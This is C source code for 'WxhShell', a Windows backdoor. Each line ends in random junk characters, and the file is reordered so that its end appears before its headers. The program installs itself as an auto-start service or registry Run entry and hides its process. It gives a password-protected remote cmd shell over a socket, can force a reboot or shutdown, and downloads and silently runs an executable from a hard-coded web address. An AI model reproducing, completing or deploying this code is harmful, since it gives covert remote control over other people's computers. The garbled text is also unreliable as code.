    if(Boot(SHUTDOWN)) lMf5F8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)SgdC/f  
    else { n>+W]I&E  
    closesocket(wsh); [5:7 WqB  
    ExitThread(0); @wZ_VE7B  
    } sbhEZ#7#  
    break; ^/YAokj  
    } vu \Dx9  
  // 获取shell QlXF:Gx"=  
  case 's': { ]b$,.t5  
    CmdShell(wsh); .B n2;nO  
    closesocket(wsh); +~AI(h  
    ExitThread(0); .F|WQ7Mu  
    break; PG]mwaj])  
  } 7lOiFw  
  // 退出 )_ u'k /  
  case 'x': { VDN]P3   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^0~1/ PhOw  
    CloseIt(wsh); P z!yIj  
    break; cO+`8`kv  
    } xeh|u"5  
  // 离开 6Izv&  
  case 'q': { PKG ,4v=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h--!pE+  
    closesocket(wsh); R;ug+N  
    WSACleanup(); gJv^v`X  
    exit(1); )ciHY6  
    break; pLcng[  
        } _n gMC]-T  
  } nuA!Jln_  
  } J#WPXE+Ds  
Kf5p* AI  
  // 提示信息 _kLoDju%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C#0Wo  
} '2#fkH[.  
  } 0g)mf6}o  
g?M69~G$:x  
  return; r!uAofIi_  
} &|;!St]!M  
GTe9@d  
// shell模块句柄 ;OyM~T gI  
int CmdShell(SOCKET sock) sva$@y7b  
{ \2b9A' d>  
STARTUPINFO si; Ut=y`]F  
ZeroMemory(&si,sizeof(si)); a{,t@G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;zG|llX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R6Lr]H  
PROCESS_INFORMATION ProcessInfo; > `M\xt  
char cmdline[]="cmd"; S>Y?QQ3#wp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ymvd= F   
  return 0; 1OL~)X3  
} VG^-aR_F  
wH<*  
// 自身启动模式 RwKN  
int StartFromService(void) Q+dI,5YF  
{ R/|o?qTrj  
typedef struct `lzH:B  
{ `,"Jc<R7Z  
  DWORD ExitStatus; 56dl;Z)  
  DWORD PebBaseAddress; Z;:-8 HPDY  
  DWORD AffinityMask; tDkqwF),  
  DWORD BasePriority; `#bcoK5  
  ULONG UniqueProcessId; WI3!?>d  
  ULONG InheritedFromUniqueProcessId; )]R8 $S  
}   PROCESS_BASIC_INFORMATION; Y8(yOVy9  
39CPFgi<l*  
PROCNTQSIP NtQueryInformationProcess; zYsGI<4  
q[ZYlF,Ho  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yhmW-#+^e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^g\%VIOD  
Y8T.RS0  
  HANDLE             hProcess; 6qf`P!7d]M  
  PROCESS_BASIC_INFORMATION pbi; (PF (,B  
Af~AE2b3"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,\7okf7H,-  
  if(NULL == hInst ) return 0; 7Cjrh"al"  
J)]W[Nk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @<L.#gtP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CqV \:50g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P/ 5r(l5  
E~ kmU{D  
  if (!NtQueryInformationProcess) return 0; ^;d;b<  
/_8V+@im  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G39t'^ZK*#  
  if(!hProcess) return 0; v\vn}/>*d  
I%Z &i-33y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b`mEnI VIz  
Pc<ZfO #  
  CloseHandle(hProcess); P+a&R<Dj4  
RB2u1]l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7=9jXNk Y  
if(hProcess==NULL) return 0; ]g :ZokU  
uwJkqlUOz  
HMODULE hMod; 1+'3{m \5T  
char procName[255]; Kt(p|  
unsigned long cbNeeded; q$P"o].EK  
_U %B1s3y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _DQdo  
A@+.[[  
  CloseHandle(hProcess); |Z;Av%%  
dhbJ1/z^  
if(strstr(procName,"services")) return 1; // 以服务启动 ux=@"!PJ  
S{ !hpq~o  
  return 0; // 注册表启动 (TPD!=  
} Bb)J8,LQ  
n)yqb  
// 主模块 7VraWW`H'  
int StartWxhshell(LPSTR lpCmdLine) +7w>ujeeJA  
{ i2DR}%U  
  SOCKET wsl; )? xg=o/?  
BOOL val=TRUE;  I g`#U~  
  int port=0; -zt\we qA  
  struct sockaddr_in door; |d$aIS O`  
#,sJd^uI  
  if(wscfg.ws_autoins) Install(); EifYK  
jp|wc,]!  
port=atoi(lpCmdLine); ^H'#*b0u  
K^+B"  
if(port<=0) port=wscfg.ws_port; Q5ux**(Wr  
(@ Bw@9  
  WSADATA data; 9Bn dbS i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7">.{ @S  
x =k$^V~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dqki}k~{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p\ASf  
  door.sin_family = AF_INET; -Ac^#/[0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U w)1yzX  
  door.sin_port = htons(port); ^VQiq7 xm  
U1Oq"Ij~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |kn}iA@72p  
closesocket(wsl); @0G} Q  
return 1; O3Uu{'=0  
} 8^T' a^Wt  
?~$y3<[  
  if(listen(wsl,2) == INVALID_SOCKET) { 2-]m#}zbP  
closesocket(wsl); {)+/w"^.  
return 1; >z2 {D7  
} -v:Y\=[\  
  Wxhshell(wsl); ${?Px c{-  
  WSACleanup(); qQb8K+t  
7W*OyH^  
return 0; (L\tp> E-  
D4G{= Y}G  
} W\Gg!XsLk  
-`( :L[  
// 以NT服务方式启动 nv={.H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JO$0Z  
{ X@ss d  
DWORD   status = 0; Y\rKw!u_!  
  DWORD   specificError = 0xfffffff; >[#4Pb7_Y  
=y<Fz*aA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]2<g"zo0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /a,q4tD@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y=5hm  
  serviceStatus.dwWin32ExitCode     = 0; wL{Qni3A  
  serviceStatus.dwServiceSpecificExitCode = 0; \(u P{,ML  
  serviceStatus.dwCheckPoint       = 0; {*: C$"L  
  serviceStatus.dwWaitHint       = 0; KS%,N _F<  
(Lc%G~{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); </fzBaTo  
  if (hServiceStatusHandle==0) return; ;gF"o5/Q  
?HW*qD#k  
status = GetLastError(); @+xQj.jNC  
  if (status!=NO_ERROR) H;v*/~zl  
{ ]UNmhF!W>u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2Bx\nLf/ K  
    serviceStatus.dwCheckPoint       = 0; Q<M>+U;t  
    serviceStatus.dwWaitHint       = 0; u}pLO9V"`  
    serviceStatus.dwWin32ExitCode     = status; D=3NI  
    serviceStatus.dwServiceSpecificExitCode = specificError; R_-.:n%.z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %rf<YZ.\  
    return; C 9DRVkjj  
  } O)hNHIF  
iM\W"OUl[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RW3&]l=  
  serviceStatus.dwCheckPoint       = 0; s}5;)>3~@  
  serviceStatus.dwWaitHint       = 0; B${Q Y)t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RSp=If+4  
} M;V2O;  
m49)cK?  
// 处理NT服务事件,比如:启动、停止 7{p,<Uz<"U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) + 5 05  
{ G-Y8<mEh  
switch(fdwControl) Baq&>]  
{ s01n[jQ  
case SERVICE_CONTROL_STOP: x]F:~(P  
  serviceStatus.dwWin32ExitCode = 0; M]oaWQu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d !>PqPo  
  serviceStatus.dwCheckPoint   = 0; <FP&1Eg!|  
  serviceStatus.dwWaitHint     = 0; 0(]C$*~mk  
  { z+;+c$X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XXO   
  } huO_ARwK'  
  return; ,}J(&  
case SERVICE_CONTROL_PAUSE: q>,i `*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1B2>8 N  
  break; #HqXC\~n  
case SERVICE_CONTROL_CONTINUE: 9Y0w SOSW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DRal{?CH  
  break; gVb;sk^  
case SERVICE_CONTROL_INTERROGATE: P#iBwmwN+.  
  break; yAaMYF@  
}; /op8]y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E<0Y;tR  
} orJN#0v4  
o4U9jU4<"  
// 标准应用程序主函数 3d[fP#NY7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gd2cwnP  
{ K1jE_]@Z  
L,BuzU[1S  
// 获取操作系统版本 &S/KR$^ %  
OsIsNt=GetOsVer(); wD4Kil=v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kid@*.I  
yj-BLR5  
  // 从命令行安装 J#MUtpPdQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); l7\Bq+Q  
I_\j05  
  // 下载执行文件 ih~ R?W  
if(wscfg.ws_downexe) { !?,rcgi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Lm.;l4YO  
  WinExec(wscfg.ws_filenam,SW_HIDE); ca5Ir<mL  
} %R."  
}qxw Nmx  
if(!OsIsNt) { &iez{[O  
// 如果时win9x,隐藏进程并且设置为注册表启动 %qNT<>c  
HideProc(); Db@$'  
StartWxhshell(lpCmdLine); X$)<>e]!>  
} F8KSB"!NR  
else Y$ ZZ0m  
  if(StartFromService()) C`Zz\DNG@  
  // 以服务方式启动 -uX): h!  
  StartServiceCtrlDispatcher(DispatchTable); x:4 :G(  
else DY1UP (y  
  // 普通方式启动 E {*d`n  
  StartWxhshell(lpCmdLine); o-c.D=~  
t[ cHdI  
return 0; =)!sWY:  
} z&Cz!HrS  
v;1<K@UT  
>8PGyc*9  
;<hLy(@  
=========================================== GKIO@!@[  
$bOiP  
Yv>kToa\^  
bi~1d"j  
mQUI9  
@L0xU??"|  
" F=EG#<@u  
^ZP $(a4  
#include <stdio.h> KDxqz$14 -  
#include <string.h> Kjzo>fIC{  
#include <windows.h> -aPRL HR  
#include <winsock2.h> 6 );8z!+  
#include <winsvc.h> ma TQ 0GX  
#include <urlmon.h> )xm[mvt  
$Y`oqw?g+^  
#pragma comment (lib, "Ws2_32.lib") P8[rp   
#pragma comment (lib, "urlmon.lib") c]}F$[>oN'  
[] cF*en  
#define MAX_USER   100 // 最大客户端连接数 z;iNfs0i$  
#define BUF_SOCK   200 // sock buffer FJQ=611@  
#define KEY_BUFF   255 // 输入 buffer C2 4"H|D  
ANWfRtiU#  
#define REBOOT     0   // 重启 !{q_Q !  
#define SHUTDOWN   1   // 关机 z_f^L %J0  
D||)H  
#define DEF_PORT   5000 // 监听端口 FdGnNDl*e  
Xrl# DN  
#define REG_LEN     16   // 注册表键长度 L0.F }~S  
#define SVC_LEN     80   // NT服务名长度 X~g U$  
 T_)G5a  
// 从dll定义API Ua%;hI)j$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -kzp >=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }i._&x`):  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _$+BYK@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  gx9=L&=d  
ij5|P4Eka  
// wxhshell配置信息 Nnx dO0X  
struct WSCFG { B_mT[)ut  
  int ws_port;         // 监听端口 *[Im].  
  char ws_passstr[REG_LEN]; // 口令 ;&c9!LfP  
  int ws_autoins;       // 安装标记, 1=yes 0=no xciwKIpS  
  char ws_regname[REG_LEN]; // 注册表键名 *47HN7  
  char ws_svcname[REG_LEN]; // 服务名 ?xwLe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q@ua G,6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >npTUOGL=n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .fAHP 5-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @)XR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tm\a%Z`U>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8'qq!WR~  
/Bq4! n+  
}; y**YFQ*sc  
7bk`u'0%  
// default Wxhshell configuration HSR,moI  
struct WSCFG wscfg={DEF_PORT, (T!#7  
    "xuhuanlingzhe", i&^]qL|J  
    1, AO]k*N,N  
    "Wxhshell", s+t[{i4|  
    "Wxhshell", T*z*x=<5  
            "WxhShell Service", ka/>jV"  
    "Wrsky Windows CmdShell Service", )LAG$Cn  
    "Please Input Your Password: ", qh|fq b  
  1, `ztp u ~?  
  "http://www.wrsky.com/wxhshell.exe", 6L"b O'_5K  
  "Wxhshell.exe" i&KBMx   
    }; } `Cc-X7  
jr(|-!RVMN  
// 消息定义模块 KwNOB _  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0SR[)ma  
char *msg_ws_prompt="\n\r? for help\n\r#>"; & LhQr-g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %mAwK<MY`  
char *msg_ws_ext="\n\rExit."; k%R(Qga  
char *msg_ws_end="\n\rQuit."; qnFg7X>C,  
char *msg_ws_boot="\n\rReboot..."; c+{ ar^)*  
char *msg_ws_poff="\n\rShutdown..."; 7jw5'`;)"  
char *msg_ws_down="\n\rSave to "; 3aw-fuuIb  
s14D(:t(  
char *msg_ws_err="\n\rErr!"; !t[;~`d9  
char *msg_ws_ok="\n\rOK!"; 40aD\S>  
lWDSF]ZYV  
char ExeFile[MAX_PATH]; JmC2buO  
int nUser = 0; xFcW%m>9C  
HANDLE handles[MAX_USER]; }{}?mQ  
int OsIsNt; O03F@v  
>}B53.;.k  
SERVICE_STATUS       serviceStatus; Ap~6Vu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _7b4+ L  
a4XK.[O  
// 函数声明 !yvw5As%  
int Install(void); M< H+$}[  
int Uninstall(void); f\FqZ?w  
int DownloadFile(char *sURL, SOCKET wsh); ^fV-m&F)K*  
int Boot(int flag); '|}H ,I{  
void HideProc(void); *x_e] /}  
int GetOsVer(void); ^B8 [B&K  
int Wxhshell(SOCKET wsl); }zIWagC6  
void TalkWithClient(void *cs); 3e>U(ES  
int CmdShell(SOCKET sock); 8@ S@^C*F  
int StartFromService(void); Kpkpr`:)]  
int StartWxhshell(LPSTR lpCmdLine); vXZ )  
#7"";"{ z|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^x Z=";eq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nchpD@'t  
|n;5D,r0C  
// 数据结构和表定义 l3+G]C&<  
SERVICE_TABLE_ENTRY DispatchTable[] = Xy}>O*  
{ S_ra8HY8  
{wscfg.ws_svcname, NTServiceMain}, Vh^ :.y   
{NULL, NULL} RRro.r,  
}; zcuz @  
$ nMx#~>a  
// 自我安装 7q:;3;"9  
int Install(void) >}/T&S  
{ ?BbEQr  
  char svExeFile[MAX_PATH]; );?tGX  
  HKEY key; Q[FDk63;w  
  strcpy(svExeFile,ExeFile); wc#k@"2AZb  
r*ziO#[  
// 如果是win9x系统,修改注册表设为自启动 [ {HTGz@(  
if(!OsIsNt) { ;Ah eeq746  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \mZB*k)+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'UTMEN&  
  RegCloseKey(key); b>9?gmR{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7q{yLcC"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dA<SVk*0Q  
  RegCloseKey(key); .J=QWfqt  
  return 0; Bat@  
    } +jS<n13T  
  } '+GY6Ecg  
} O_ vH w^  
else { E>:#{%  
'e6J&X  
// 如果是NT以上系统,安装为系统服务 WEoD ?GLS8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4sfq,shRq  
if (schSCManager!=0) cEn|Q  
{ 2@Q5Ta #h  
  SC_HANDLE schService = CreateService ].Ra=^q  
  ( .krEfY&  
  schSCManager, LoOw]@>  
  wscfg.ws_svcname,  z@~mu  
  wscfg.ws_svcdisp, 99%R/m  
  SERVICE_ALL_ACCESS, C' WX$!$d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3lKs>HE0  
  SERVICE_AUTO_START, />uE)R$  
  SERVICE_ERROR_NORMAL, EWXv3N2)  
  svExeFile, -=n!k^?lK  
  NULL, EpTc{  
  NULL, o5YL_=7m  
  NULL, ||fCY+x*8  
  NULL, >>M7#hmt  
  NULL ,s 6lB0  
  ); -a l  
  if (schService!=0) 69t6lB#;!  
  { b8[ ayy  
  CloseServiceHandle(schService); Pa=xc>m^  
  CloseServiceHandle(schSCManager); L>lxkq8!Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [h>A<O  
  strcat(svExeFile,wscfg.ws_svcname); fJ=(oF=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R%\<al$O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {DE4PE`  
  RegCloseKey(key); X_)I"`  
  return 0; ) r"7"i  
    } 9JeT1\VvHY  
  } Hq&MePl[  
  CloseServiceHandle(schSCManager); :*R+ee,& -  
} A+}O~,mxP8  
} o#D'"Tn!  
l\2"u M#7  
return 1; F>?~4y,b7  
} "*TP@X?@f  
dz/3=0  
// 自我卸载 hM&VMa[  
int Uninstall(void) ? :A%$T  
{ Tm0\Oue0  
  HKEY key; M5x MTP-  
(Zej\lEN  
if(!OsIsNt) { F^lau f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {IF$\{Al  
  RegDeleteValue(key,wscfg.ws_regname); QHsJo|.  
  RegCloseKey(key); #miG"2ea..  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <p?oFD_e4  
  RegDeleteValue(key,wscfg.ws_regname); 8|u8J0^  
  RegCloseKey(key); jN(c`Gb  
  return 0; Tt_QAIl  
  } ,>nf/c0.  
} !<F5W <V  
} Gs4t6+Al  
else { i&<@}:,  
] pv!Ll  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]4'V59\  
if (schSCManager!=0) q4vHsy36  
{ '$4&q629d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OLGMy5  
  if (schService!=0) @Y ?p-&  
  { B-|C%~fe  
  if(DeleteService(schService)!=0) { umpa!q};  
  CloseServiceHandle(schService); n" vO?8Sx  
  CloseServiceHandle(schSCManager); DweF8c  
  return 0; UnyJD%a  
  } TXbi>t:/S{  
  CloseServiceHandle(schService); C?<[oQb#  
  } f'tQLF[r<  
  CloseServiceHandle(schSCManager); cet|k!   
} d_ &~^*>  
} Gsy90  
$dKo}  
return 1; gEmsPk,  
} gRw? <U^  
#wGOlW;R  
// 从指定url下载文件 [t*-s1cq  
int DownloadFile(char *sURL, SOCKET wsh) @# . a5  
{ roIc1Ax:  
  HRESULT hr; a,:Nlr3  
char seps[]= "/";  Sg(\+j=  
char *token; _+Uf5,.5yU  
char *file; {>Qs+]  
char myURL[MAX_PATH]; COxJ,v(  
char myFILE[MAX_PATH]; 6rlM\k@!  
b8 6c[2  
strcpy(myURL,sURL); Ng*O/g`%L  
  token=strtok(myURL,seps); xo(>nFjo  
  while(token!=NULL) WpkCFp  
  { `0=j,54cx  
    file=token; N*KM6j  
  token=strtok(NULL,seps); " "CNw-^t  
  } u~Y+YzCxV  
V9;IH<s:  
GetCurrentDirectory(MAX_PATH,myFILE); Vp8!-[R  
strcat(myFILE, "\\"); jk])S~xl?  
strcat(myFILE, file); ph3dm\U.  
  send(wsh,myFILE,strlen(myFILE),0); C2L=i3R  
send(wsh,"...",3,0); JycC\s+%E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DRRy5+,I  
  if(hr==S_OK) }9Q<<a  
return 0; #BI6+rfv|  
else , lBHA+@  
return 1; h0l_9uI  
ei[,ug'  
} =[)2DJC  
<}%gZ:Z6g  
// 系统电源模块 i}C%`1+(  
int Boot(int flag) =05jjR1  
{ Mu_'C$zA  
  HANDLE hToken; OV-#8RXJ  
  TOKEN_PRIVILEGES tkp; K48 QkZ_gY  
h 3p~\%^  
  if(OsIsNt) { 8>:u%+ C1c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rWp+kV[Ec>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :ZXaJ!  
    tkp.PrivilegeCount = 1; |+1k7S  ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I.1(qbPkF+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @[;$R@M_3  
if(flag==REBOOT) { y*lAmO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9hhYyqGsO  
  return 0; py\/m]  
} wNl "y  
else { 8]JlYe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "g1Fg.o  
  return 0; @nM+*0 $d  
} >NA{**$0  
  } bhCAx W  
  else { |3gWH4M4**  
if(flag==REBOOT) { ASr3P5/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fz]!2rt  
  return 0; ho6,&Bp8  
} +F^X1  
else { Y_nlIcu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e!4Kl:  
  return 0; JL?|NV-  
} Kxsj_^&|i  
} Bh6lK}9  
<-!' V,c  
return 1; )GJlQ1x  
} -raZ6?Zjc  
5:l"*  
// win9x进程隐藏模块 dg;E,'e_ p  
void HideProc(void) P~@I`r567  
{ 'WoB\y569  
P1"g62R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9~}8?kPNw=  
  if ( hKernel != NULL ) /O$)m[  
  { SqT+rvTh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fXAD~7T*s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oRl@AhS  
    FreeLibrary(hKernel); @Hst-H.l<l  
  } +/Vzw  
BWsD~Ft  
return; bpfSe  
} @C5 %`{\  
4,ewp coC%  
// 获取操作系统版本 s;:quM  
int GetOsVer(void) 4?~Ei[KgQn  
{ d6"B_,*b  
  OSVERSIONINFO winfo; E>qehs,g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cONfHl{  
  GetVersionEx(&winfo); ` aaT #r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .%mjE'  
  return 1; i-&"1D[&  
  else *q(HW  
  return 0; DZX4c2J  
} 5$ rV0X,O  
S3YAc4  
// 客户端句柄模块 "QV1G'  
int Wxhshell(SOCKET wsl) SrXuiiK  
{ q^b_'We_9  
  SOCKET wsh; z0 _/JwJn  
  struct sockaddr_in client; zKaEh   
  DWORD myID; Redxg.P  
^s?i&K,!  
  while(nUser<MAX_USER) {>.qo<k  
{ XO J@-^BX  
  int nSize=sizeof(client); L&~>(/*7U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l,1.6  
  if(wsh==INVALID_SOCKET) return 1; iTeFy -Ct  
7R".$ p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C,3yu,'  
if(handles[nUser]==0) u9dL-Nr`  
  closesocket(wsh); JPS<e*5  
else 4(\7Or(''  
  nUser++; ?[ vC?P  
  } w3peG^4D_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0d=<^wLi^  
P+;@?ofB  
  return 0; =v/x&,Uj@6  
} M.}QXta  
.s<tQU  
// 关闭 socket 74*iF'f?c  
void CloseIt(SOCKET wsh) Gh9dv|m=[;  
{ *wfkjG  
closesocket(wsh); ak;S Ie  
nUser--; .;~K*GC  
ExitThread(0); .ZOyZnr Z  
} fT_swh IO  
Q mn'G4#@E  
// 客户端请求句柄 E{6X-C[)v  
void TalkWithClient(void *cs) =u]FKY  
{ eFCXjM  
-q/FxESp  
  SOCKET wsh=(SOCKET)cs; _yVF+\kQ  
  char pwd[SVC_LEN]; w'Q2Czso  
  char cmd[KEY_BUFF]; -qRO}EF  
char chr[1]; Y{ 2xokJ N  
int i,j; 8rsv8OO  
?GKm_b]JC  
  while (nUser < MAX_USER) { L\UM12  
<x2 F5$@  
if(wscfg.ws_passstr) { gb/M@6/j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]j?Kn$nv*S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JSm3ZP|GqJ  
  //ZeroMemory(pwd,KEY_BUFF); t ~"DQq E  
      i=0; ]6{\`a  
  while(i<SVC_LEN) { E.~~.2   
uu582%tiG  
  // 设置超时 B 9AE*  
  fd_set FdRead; Sf0[^"7  
  struct timeval TimeOut; :7Q, `W9  
  FD_ZERO(&FdRead); |qsY0zx  
  FD_SET(wsh,&FdRead); ~j2=hkS  
  TimeOut.tv_sec=8; H@WQO]P A  
  TimeOut.tv_usec=0; QabYkL5@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); abM4G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y_<(~eN`  
)z?Kq0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & A<Pf.Us  
  pwd=chr[0]; ;F<)BEXC<  
  if(chr[0]==0xd || chr[0]==0xa) { +,$"%C  
  pwd=0; mg^\"GC*8  
  break; #`H^8/!e  
  } wh;E\^',n  
  i++; in6iJ*E@'  
    } L)ry!BuHI  
#FV(a~  
  // 如果是非法用户,关闭 socket o<-+y\J8K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D`^9 u K  
} ba   
O(E-ox~q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sIJ37;ZA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;"/ "  
[0G>=h@u  
while(1) { +2ih!$T;7>  
I"=XM   
  ZeroMemory(cmd,KEY_BUFF); /aB9pD+%  
O}3M+  
      // 自动支持客户端 telnet标准   %7?v='s=  
  j=0; OAQ'/{~7  
  while(j<KEY_BUFF) { ,FPgbs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +>5 "fs$Y  
  cmd[j]=chr[0]; \l leO|m  
  if(chr[0]==0xa || chr[0]==0xd) { D:HeP:.I  
  cmd[j]=0; cNG6 A4  
  break; X7]vXo*  
  } <!vAqqljt  
  j++; U q6..<#  
    } n[/|M  
%j=,c{`Q  
  // 下载文件 gU}?Yy  
  if(strstr(cmd,"http://")) { 7M1*SC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T<0Bq"'%  
  if(DownloadFile(cmd,wsh)) :q4 Mnr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;G3{ e  
  else `v)-v<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2N#H~{  
  } ud-.R~f{e  
  else { 1q! 6Sny@  
GJqSNi}  
    switch(cmd[0]) { ~I>B5^3  
